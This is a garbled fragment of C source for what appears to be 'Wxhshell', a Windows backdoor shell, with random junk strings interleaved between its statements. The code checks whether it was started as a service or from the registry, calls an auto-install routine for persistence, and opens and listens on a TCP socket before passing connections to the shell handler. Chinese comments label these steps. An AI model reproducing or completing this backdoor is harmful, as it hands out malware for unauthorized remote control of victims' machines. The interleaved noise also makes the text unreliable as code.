= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P<9T.l COD^osM@ CloseHandle(hProcess); 8jiBLZkRf (~(FQ:L%U if(strstr(procName,"services")) return 1; // 以服务启动 5Gz~,_ a;(,$q3M return 0; // 注册表启动 0:x+;R<P*w } $U2Jq@G* @f-rS{ // 主模块 G#='*vOtO int StartWxhshell(LPSTR lpCmdLine) 6!){-IV { 1+l[P9?R[ SOCKET wsl; ,S?:lQuK5 BOOL val=TRUE; m-qOyt int port=0; CljEC1S# struct sockaddr_in door; ^plP1c: R5 EC/@ if(wscfg.ws_autoins) Install(); v4\
m9Pu4 EPM(hxCIQ port=atoi(lpCmdLine); S-brV\v7 :]* =f]. if(port<=0) port=wscfg.ws_port; o+\?E.%%g fL gHQ WSADATA data; YT@N$kOg_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dhuIVBp!!e uuy0fQQ8ti if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Iapzh y2l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >_X(rar0 door.sin_family = AF_INET; SQk5SP door.sin_addr.s_addr = inet_addr("127.0.0.1"); z] |Y door.sin_port = htons(port); zj=F4]w }~#qDrK if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s3~6[T?8 closesocket(wsl); / $'M return 1; ])WIw'L! } 2 xi@5;! W#^p%?8pR if(listen(wsl,2) == INVALID_SOCKET) { 5=!aq\
5 closesocket(wsl); `$/M\aM% return 1; u;8bbv4 } U*T :p>& Wxhshell(wsl); x/ P\qI WSACleanup(); D.h <!?E% {[+Q\< |